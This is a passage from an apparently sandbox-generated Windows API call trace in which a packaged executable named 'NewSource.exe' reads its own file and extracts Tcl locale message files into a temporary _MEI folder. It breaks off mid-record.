nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4f3, lpOverlapped=0x0) returned 1 [0037.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.795] CloseHandle (hObject=0x10c) returned 1 [0037.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.796] htonl (hostlong=0x30000000) returned 0x30 [0037.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.796] GetFileType (hFile=0x10c) returned 0x1 [0037.796] htonl (hostlong=0xb89c5700) returned 0x579cb8 [0037.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c4cb8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.796] htonl (hostlong=0xd0010000) returned 0x1d0 [0037.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d0) returned 0x550600 [0037.796] htonl (hostlong=0xd0010000) returned 0x1d0 [0037.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.796] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.796] htonl (hostlong=0xf3070000) returned 0x7f3 [0037.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f3) returned 0x55e278 [0037.796] htonl (hostlong=0xd0010000) returned 0x1d0 [0037.796] htonl (hostlong=0xf3070000) returned 0x7f3 [0037.797] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.797] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.797] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.797] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.797] CloseHandle (hObject=0x10c) returned 1 [0037.797] GetLastError () returned 0x0 [0037.797] SetLastError (dwErrCode=0x0) [0037.797] GetLastError () returned 0x0 [0037.797] SetLastError (dwErrCode=0x0) [0037.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.797] GetFileType (hFile=0x10c) returned 0x1 [0037.797] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.797] CloseHandle (hObject=0x10c) returned 1 [0037.797] GetLastError () returned 0x0 [0037.797] SetLastError (dwErrCode=0x0) [0037.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.798] GetFileType (hFile=0x10c) returned 0x1 [0037.798] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.798] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.798] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.798] CloseHandle (hObject=0x10c) returned 1 [0037.798] GetLastError () returned 0x0 [0037.798] SetLastError (dwErrCode=0x0) [0037.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sr.msg") returned 61 [0037.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.798] GetLastError () returned 0x2 [0037.799] SetLastError (dwErrCode=0x2) [0037.799] GetLastError () returned 0x2 [0037.799] SetLastError (dwErrCode=0x2) [0037.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sr.msg", lpFilePart=0x0) returned 0x3c [0037.799] GetLastError () returned 0x2 [0037.799] SetLastError (dwErrCode=0x2) [0037.799] GetLastError () returned 0x2 [0037.799] SetLastError (dwErrCode=0x2) [0037.799] GetLastError () returned 0x2 [0037.799] SetLastError (dwErrCode=0x2) [0037.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sr.msg") returned 61 [0037.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.799] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.800] GetFileType (hFile=0x10c) returned 0x1 [0037.800] htonl (hostlong=0xf3070000) returned 0x7f3 [0037.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.800] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7f3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7f3, lpOverlapped=0x0) returned 1 [0037.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.801] CloseHandle (hObject=0x10c) returned 1 [0037.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.801] htonl (hostlong=0x30000000) returned 0x30 [0037.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.801] GetFileType (hFile=0x10c) returned 0x1 [0037.801] htonl (hostlong=0x889e5700) returned 0x579e88 [0037.802] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c4e88, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.802] htonl (hostlong=0x6d010000) returned 0x16d [0037.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16d) returned 0x550600 [0037.802] htonl (hostlong=0x6d010000) returned 0x16d [0037.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.802] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.802] htonl (hostlong=0x8f040000) returned 0x48f [0037.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x48f) returned 0x550778 [0037.802] htonl (hostlong=0x6d010000) returned 0x16d [0037.802] htonl (hostlong=0x8f040000) returned 0x48f [0037.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.802] CloseHandle (hObject=0x10c) returned 1 [0037.802] GetLastError () returned 0x0 [0037.802] SetLastError (dwErrCode=0x0) [0037.802] GetLastError () returned 0x0 [0037.802] SetLastError (dwErrCode=0x0) [0037.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.802] GetFileType (hFile=0x10c) returned 0x1 [0037.802] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.803] CloseHandle (hObject=0x10c) returned 1 [0037.803] GetLastError () returned 0x0 [0037.803] SetLastError (dwErrCode=0x0) [0037.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.803] GetFileType (hFile=0x10c) returned 0x1 [0037.803] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.803] CloseHandle (hObject=0x10c) returned 1 [0037.803] GetLastError () returned 0x0 [0037.803] SetLastError (dwErrCode=0x0) [0037.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sv.msg") returned 61 [0037.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sv.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.804] GetLastError () returned 0x2 [0037.804] SetLastError (dwErrCode=0x2) [0037.804] GetLastError () returned 0x2 [0037.804] SetLastError (dwErrCode=0x2) [0037.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sv.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sv.msg", lpFilePart=0x0) returned 0x3c [0037.804] GetLastError () returned 0x2 [0037.804] SetLastError (dwErrCode=0x2) [0037.804] GetLastError () returned 0x2 [0037.804] SetLastError (dwErrCode=0x2) [0037.804] GetLastError () returned 0x2 [0037.804] SetLastError (dwErrCode=0x2) [0037.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sv.msg") returned 61 [0037.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sv.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.804] GetFileType (hFile=0x10c) returned 0x1 [0037.804] htonl (hostlong=0x8f040000) returned 0x48f [0037.804] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.804] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x48f, lpOverlapped=0x0) returned 1 [0037.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.805] CloseHandle (hObject=0x10c) returned 1 [0037.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550778 | out: hHeap=0x530000) returned 1 [0037.807] htonl (hostlong=0x30000000) returned 0x30 [0037.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.807] GetFileType (hFile=0x10c) returned 0x1 [0037.807] htonl (hostlong=0xf59f5700) returned 0x579ff5 [0037.807] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c4ff5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.807] htonl (hostlong=0x3a010000) returned 0x13a [0037.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13a) returned 0x550600 [0037.807] htonl (hostlong=0x3a010000) returned 0x13a [0037.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.807] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.807] htonl (hostlong=0xdf030000) returned 0x3df [0037.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3df) returned 0x550748 [0037.807] htonl (hostlong=0x3a010000) returned 0x13a [0037.807] htonl (hostlong=0xdf030000) returned 0x3df [0037.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.807] CloseHandle (hObject=0x10c) returned 1 [0037.807] GetLastError () returned 0x0 [0037.807] SetLastError (dwErrCode=0x0) [0037.807] GetLastError () returned 0x0 [0037.807] SetLastError (dwErrCode=0x0) [0037.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.808] GetFileType (hFile=0x10c) returned 0x1 [0037.808] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.808] CloseHandle (hObject=0x10c) returned 1 [0037.808] GetLastError () returned 0x0 [0037.808] SetLastError (dwErrCode=0x0) [0037.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.808] GetFileType (hFile=0x10c) returned 0x1 [0037.808] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 